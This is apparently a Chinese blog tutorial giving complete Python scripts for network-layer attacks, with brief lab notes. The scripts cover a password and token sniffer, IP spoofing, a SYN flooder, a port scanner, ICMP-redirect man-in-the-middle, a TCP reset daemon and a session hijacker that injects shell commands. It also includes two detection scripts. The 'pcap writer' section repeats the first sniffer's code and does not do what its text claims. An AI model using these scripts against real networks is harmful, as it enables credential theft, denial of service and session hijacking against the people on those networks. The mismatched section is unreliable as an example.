[Python] Layer3攻击

这一部分的代码会用到如下的包:Scapy,pcapy和impacket,scapy之前用过此处不再赘述,impacket可以用下载安装包的方法进行安装,需要多说两句的是pcapy用下载安装包的方法安装会出现错误,正确的方法是直接利用命令行安装:apt-get install python-pcapy

1.A Simple Sniffer
源代码如下:
import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder

dev = "eth0"
filter = "arp"
decoder = EthDecoder()

# This function will be called for every packet
# and just print it
def handle_packet(hdr,data):
	print decoder.decode(data)

def usage():
	print sys.argv[0] + " -i  -f "
	sys.exit(1)

#Parsing parameter
try:
	cmd_opts = "f:i:"
	opts, args = getopt.getopt(sys.argv[1:],cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-f":
		filter = opt[1]
	elif opt[0] == "-i":
		dev = opt[1]
	else:
		usage()

# Open device in promisc mode
pcap = pcapy.open_live(dev,1500,0,100)

# Set pcap filter
pcap.setfilter(filter)

# Start sniffing
pcap.loop(0, handle_packet)
程序执行过程如下:
[Python] Layer3攻击_第1张图片
此过程中捕获的数据包如下:

[Python] Layer3攻击_第2张图片


[Python] Layer3攻击_第3张图片

可见ARP请求包被嗅探,其中的信息被打印出来.

2.Reading and Writing PCAP Dump Files

此程序会嗅探网络流量并将其保存在数据包中。
如果按照默认方式运行程序,那么流量会被保存在名为sniffer.pcap的文件中。

import sys
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder

dev = "eth0"
filter = "arp"
decoder = EthDecoder()

# This function will be called for every packet
# and just print it
def handle_packet(hdr,data):
	print decoder.decode(data)

def usage():
	print sys.argv[0] + " -i  -f "
	sys.exit(1)

#Parsing parameter
try:
	cmd_opts = "f:i:"
	opts, args = getopt.getopt(sys.argv[1:],cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-f":
		filter = opt[1]
	elif opt[0] == "-i":
		dev = opt[1]
	else:
		usage()

# Open device in promisc mode
pcap = pcapy.open_live(dev,1500,0,100)

# Set pcap filter
pcap.setfilter(filter)

# Start sniffing
pcap.loop(0, handle_packet)

程序运行过程如下:
[Python] Layer3攻击_第4张图片
数据包如下:

也可以通过-w 参数来指定数据包的名称,比如指定为sniffer1.pcap。
程序运行过程如下:
[Python] Layer3攻击_第5张图片
数据包如下:

也可以对已有的数据包进行读取(注意,如果pcap文件中是UDP包,那么程序运行时会报错)
程序运行过程如下:
[Python] Layer3攻击_第6张图片
数据包如下:
[Python] Layer3攻击_第7张图片

3.Password Sniffer
此程序嗅探所有TCP数据包,如果其中的内容匹配上了正则表达式中的模式,就将信息打印出来。
源码如下:

import sys
import re
import getopt
import pcapy
from impacket.ImpactDecoder import EthDecoder, IPDecoder, TCPDecoder

# Interface to sniff on
dev = "eth0"

# Pcap filter
filter = "tcp"

# Decoder for all layers
eth_dec = EthDecoder()
ip_dec = IPDecoder()
tcp_dec = TCPDecoder()

#Patterns that match usernames and passwords
pattern = re.compile(r"""(?P(USER|USERNAME|PASS|
			PASSWORD|LOGIN|BENUTZER|PASSWORT|AUTH|
			ACCESS|ACCESS_?KEY|SESSION|
			SESSION_?KEY|TOKEN)[=:\s].+)\b""",
			re.MULTILINE|re.IGNORECASE)

# This function will be called for every packet,decode it and
# try to find a username or password in it
def handle_packet(hdr,data):
	eth_pkt = eth_dec.decode(data)
	ip_pkt = ip_dec.decode(eth_pkt.get_data_as_string())
	tcp_pkt = tcp_dec.decode(ip_pkt.get_data_as_string())
	payload = tcp_pkt.get_data_as_string()

	match = re.search(pattern,payload)
	if not tcp_pkt.get_SYN() and not tcp_pkt.get_RST() and not tcp_pkt.get_FIN() and match and match.groupdict()['found'] != None:
		print "%s:%d -> %s:%d" % (ip_pkt.get_ip_src(),tcp_pkt.get_th_sport(),ip_pkt.get_ip_dst(),tcp_pkt.get_th_dport())
		print "\t%s\n" % (match.groupdict()['found'])

def usage():
	print sys.argv[0] + " -i  -f "
	sys.exit(1)

# Parsing parameter
try:
	cmd_opts = "f:i:"
	opts,args = getopt.getopt(sys.argv[1:],cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-f":
		filter = opt[1]
	elif opt[0] == "-i":
		dev = opt[1]
	else:
		usage()

#Start sniffing
pcap = pcapy.open_live(dev,1500,0,100)
pcap.setfilter(filter)
print "Sniffing passwords on " + str(dev)
pcap.loop(0,handle_packet)
程序运行过程截图:
[Python] Layer3攻击_第8张图片
4.Sniffer-Detection
处于混杂模式的主机不会拒绝任何数据包,并且会回复所有。因此可以构造一个ARP包,里面保存有随机的,未被占用的MAC地址。未设置混杂模式的主机会将这个包丢弃,而混杂模式的主机会对此作出响应。代码中可以使用promiscping()函数来实现如上功能。

代码如下:

import sys
from scapy.all import promiscping

if len(sys.argv) < 2:
	print sys.argv[0] + ""
	sys.exit(1)
	
promiscping(sys.argv[1])
运行过程如下:

[Python] Layer3攻击_第9张图片

5.IP-Spoofing
此代码发送一个ICMP包,换句话说就是ping指令所发出的包,其中的源IP地址是伪造的。

源代码如下:

import sys
from scapy.all import send,IP,ICMP

if len(sys.argv) < 3:
	print sys.argv[0] + "  "
	sys.exit(1)

packet = IP(src=sys.argv[1], dst=sys.argv[2]) / ICMP()
answer = send(packet)

if answer:
	answer.show()
指令的格式为python test.py <(forged)source ip> 代码的执行过程为。

[Python] Layer3攻击_第10张图片
数据包为:

数据包中10.0.3.188为伪造的IP地址,但源MAC地址是真实的。

6.SYN-Flooder
此代码会产生SYN Flood,程序的命令结构为:
test.py
程序中会构造的一虚假的源IP,源端口为1~1024的随机值,目标IP和端口可以在命令行中指定。
源代码如下:

import sys
from scapy.all import srflood,IP,TCP

if len(sys.argv) < 4:
	print sys.argv[0] + "   "
	sys.exit(0)

packet = IP(src=sys.argv[1],dst=sys.argv[2]) / TCP(sport=range(1,1024),dport=int(sys.argv[3]),flags="S")

srflood(packet,store=0)
命令执行方式如下:

可见在目标机10.0.3.88上创建了好多与10.0.3.188(构造的虚拟源IP)的连接。
[Python] Layer3攻击_第11张图片
从抓获的数据包上来看也可知有很多连接被创建。
[Python] Layer3攻击_第12张图片
7.Port-Scanning
原理是向目标发送一个SYN包,然后看我们得到的是SYN/ACK(端口开放),RST(端口关闭)还是no(端口过滤)的应答。
源码:
import sys
from scapy.all import sr,IP,TCP

if len(sys.argv) < 2:
	print sys.argv[0] + "  "
	sys.exit(1)

#Send SYN Packets to all 1024 ports
if len(sys.argv) == 3:
	packet = IP(dst=sys.argv[1], src=sys.argv[2])
else:
	packet = IP(dst=sys.argv[1])

packet /= TCP(dport=range(1,1025), flags="S")

answered, unanswered = sr(packet,timeout=1)

res = {}

# Process unanswered packets
for packet in unanswered:
	res[packet.dport] = "filtered"

# Process answered packets
for (send,recv) in answered:
	# Got ICMP error message
	if recv.getlayer("ICMP"):
		type = recv.getlayer("ICMP").type
		code = recv.getlayer("ICMP").code
		# Port unreachable
		if code == 3 and type == 3:
			res[send.dport] = "closed"
		else:
			res[send,dport] = "Got ICMP with type " + str(type) + " and code " + str(code)
	else:
		flags = recv.getlayer("TCP").sprintf("%flags%")
		#Got SYN/ACK
		if flags == "SA":
			res[send.dport] = "open"
		#Got RST
		elif flags == "R" or flags == "RA":
			res[send.dport] = "closed"
		#Got something else
		else:
			res[send.dport] = "Got packet with flags " + str(flags)

# Print res
ports = res.keys()
ports.sort()

for port in ports:
	if res[port] != "closed":
		print str(port) + ": " + res[port]
程序运行过程:

[Python] Layer3攻击_第13张图片

8.Port-Scan Detection
程序记住所有的目标端口以及相应请求包的时间,当请求包的数量高于一个给定最大值时就把它视为port-scan。
源码:

import sys
from time import time
from scapy.all import sniff

ip_to_ports = dict()

# Nr of ports in timespan seconds
nr_of_diff_ports = 10
portscan_timespan = 10

def detect_portscan(packet):
	ip = packet.getlayer("IP")
	tcp = packet.getlayer("TCP")
	
	# Remember scanned port and time in unix format
	ip_to_ports.setdefault(ip.src, {})[str(tcp.dport)] = int(time())

	# Source IP has scanned too much different ports?
	if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
		scanned_ports = ip_to_ports[ip.src].items()

		# Check recorded time of each scan
		for (scanned_port,scan_time) in scanned_ports:
			
			# Scanned port not in timeout span? Delete it
			if scan_time + portscan_timespan < int(time()):
				del ip_to_ports[ip.src][scanned_port]

		# Still too much scanned ports?
		if len(ip_to_ports[ip.src]) >= nr_of_diff_ports:
			print "Portscan detected from "+ip.src
			print "Scanned ports "+",".join(ip_to_ports[ip.src].keys())+"\n"
			del ip_to_ports[ip.src]

if len(sys.argv) < 2:
	print sys.argv[0] + " "
	sys.exit(0)

sniff(prn=detect_portscan,filter="tcp",iface=sys.argv[1],store=0)
比如使用10.0.3.86中执行namp -sS -A 10.0.3.83,那么在10.0.3.83中运行此程序的结果如下:
[Python] Layer3攻击_第14张图片

9.ICMP-Redirection

ICMP Redirection是一种比ARP欺骗更加隐蔽的中间人攻击方式

源码:

import sys
import getopt
from scapy.all import send, IP, ICMP

# The address we send the packet to
target = None

# The address of the original gateway
old_gw = None

# The address of our desired gateway
new_gw = None

def usage():
	print sys.argv[0] + """
	-t 
	-o 
	-n """
	sys.exit(1)

#Parsing parameter
try:
	cmd_opts = "t:o:n:r:"
	opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-t":
		target = opt[1]
	elif opt[0] == "-o":
		old_gw = opt[1]
	elif opt[0] == "-n":
		new_gw = opt[1]
	else:
		usage()

#Construct and send the packet
packet = IP(src=old_gw, dst=target) / ICMP(type=5, code=1, gw=new_gw) / IP(src=target, dst='0.0.0.0')
send(packet)
执行此代码:

此过程抓取的ICMP数据包如下:

[Python] Layer3攻击_第15张图片

10.RST Daemon
此程序用于将原IP和目的IP地址,源端口和目的端口进行对调,ACK的值为上一个接收到的包中SEQ+1,SEQ值为上一个接收到的包中的ACK值+1,ACK的值为上一个接收到的数据包中SEQ的值。并且设置RST位,使得连接被终断。
程序源码如下:

import sys
import getopt
import pcapy
from scapy.all import send,IP,TCP
from impacket.ImpactDecoder import EthDecoder,IPDecoder
from impacket.ImpactDecoder import TCPDecoder

dev = "eth0"
filter = ""
eth_decoder = EthDecoder()
ip_decoder = IPDecoder()
tcp_decoder = TCPDecoder()

def handle_packet(hdr,data):
	eth = eth_decoder.decode(data)
	ip = ip_decoder.decode(eth.get_data_as_string())
	tcp = tcp_decoder.decode(ip.get_data_as_string())

	if not tcp.get_SYN() and not tcp.get_RST() and not tcp.get_FIN() and tcp.get_ACK():
		packet = IP(src=ip.get_ip_dst(),dst=ip.get_ip_src()) / TCP(sport=tcp.get_th_dport(),dport=tcp.get_th_sport(),seq=tcp.get_th_ack(),ack=tcp.get_th_seq()+1,flags="R")
		send(packet,iface=dev)
		print "RST %s:%d -> %s:%d" % (ip.get_ip_src(),tcp.get_th_sport(),ip.get_ip_dst(),tcp.get_th_dport())

def usage():
	print sys.argv[0] + " -i  -f "
	sys.exit(1)

try:
	cmd_opts = "f:i:"
	opts,args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-f":
		filter = opt[1]
	elif opt[0] == "-i":
		dev = opt[1]
	else:
		usage()

pcap = pcapy.open_live(dev,1500,1,100)

if filter:
	filter = "tcp and "+filter
else:
	filter = "tcp"

pcap.setfilter(filter)
print "Resetting all TCP connections on %s matching filter %s " % (dev,filter)
pcap.loop(0,handle_packet)
实验过程如下:
正常登录FTP,数据包如下:
[Python] Layer3攻击_第16张图片
运行程序,再次登录FTP发现无法登陆,此时的数据包如下:
[Python] Layer3攻击_第17张图片
程序的运行过程如下,可见程序捕获到了此FTP登录过程:
[Python] Layer3攻击_第18张图片
11. Automatic Hijack Daemon
程序可以有很多命令选项,但是最基本的是python test.py -p -s
表示被劫持的端口号,表示被劫持的IP
源码为:
import sys
import getopt
from scapy.all import send,sniff,IP,TCP

dev = "eth0"
srv_port = None
srv_ip = None
client_ip = None
grep = None
inject_data = "echo 'haha' > /tmp/hacked\n"
hijack_data = {}

def handle_packet(packet):
	ip = packet.getlayer("IP")
	tcp = packet.getlayer("TCP")
	flags = tcp.sprintf("%flags%")

	print "Got packet %s:%d -> %s:%d [%s]" % (ip.src, tcp.sport, ip.dst, tcp.dport, flags)

	# Check if this is a hijackable packet
	if tcp.sprintf("%flags%") == "A" or tcp.sprintf("%flags%") == "PA":
		already_hijacked = hijack_data.get(ip.dst, {}).get('hijacked')

		# The packet is from server to client
		if tcp.sport == srv_port and ip.src == srv_ip and not already_hijacked:

			print "Got server sequence " + str(tcp.seq)
			print "Got client sequence " + str(tcp.ack) + "\n"

			# Found the payload?
			if grep in str(tcp.payload):
				hijack_data.setdefault(ip.dst, {})['hijack'] = True
				print "Found payload " + str(tcp.payload)
			elif not grep:
				hijack_data.setdefault(ip.dst, {})['hijack'] = True
			if hijack_data.setdefault(ip.dst, {}).get('hijack'):
				print "Hijacking %s:%d -> %s:%d" % (ip.dst, tcp.dport, ip.src, srv_port)

				# Spoof packet from client
				packet = IP(src=ip.dst, dst=ip.src)/TCP(sport=tcp.dport,dport=srv_port,seq=tcp.ack+len(inject_data),ack=tcp.seq+1,flags="PA")/inject_data
				send(packet, iface=dev)
				hijack_data[ip.dst]['hijacked'] = True

def usage():
	print sys.argv[0]
	print """
	-c  (optional)
	-d  (optional)
	-g  (optional)
	-i  (optional)
	-p 
	-s 
	"""
	sys.exit(1)

try:
	cmd_opts = "c:d:g:i:p:s:"
	opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
	usage()

for opt in opts:
	if opt[0] == "-c":
		client_ip = opt[1]
	elif opt[0] == "-d":
		inject_data = opt[1]
	elif opt[0] == "-g":
		grep = opt[1]
	elif opt[0] == "-i":
		dev = opt[1]
	elif opt[0] == "-p":
		srv_port = int(opt[1])
	elif opt[0] == "-s":
		srv_ip = opt[1]
	else:
		usage()

if not srv_ip and not srv_port:
	usage()

if client_ip:
	print "Hijacking TCP connections from %s to %s on port %d" % (client_ip,srv_ip,srv_port)
	filter = "tcp and port " + str(srv_port) + " and host "+srv_ip+"and host "+client_ip
else:
	print "Hijacking all TCP connections to %s on port %d" % (srv_ip,srv_port)
	filter = "tcp and port " + str(srv_port) + " and host "+srv_ip
sniff(iface=dev, store=0, filter=filter, prn=handle_packet)
代码执行过程如下:
[Python] Layer3攻击_第19张图片

你可能感兴趣的:(python)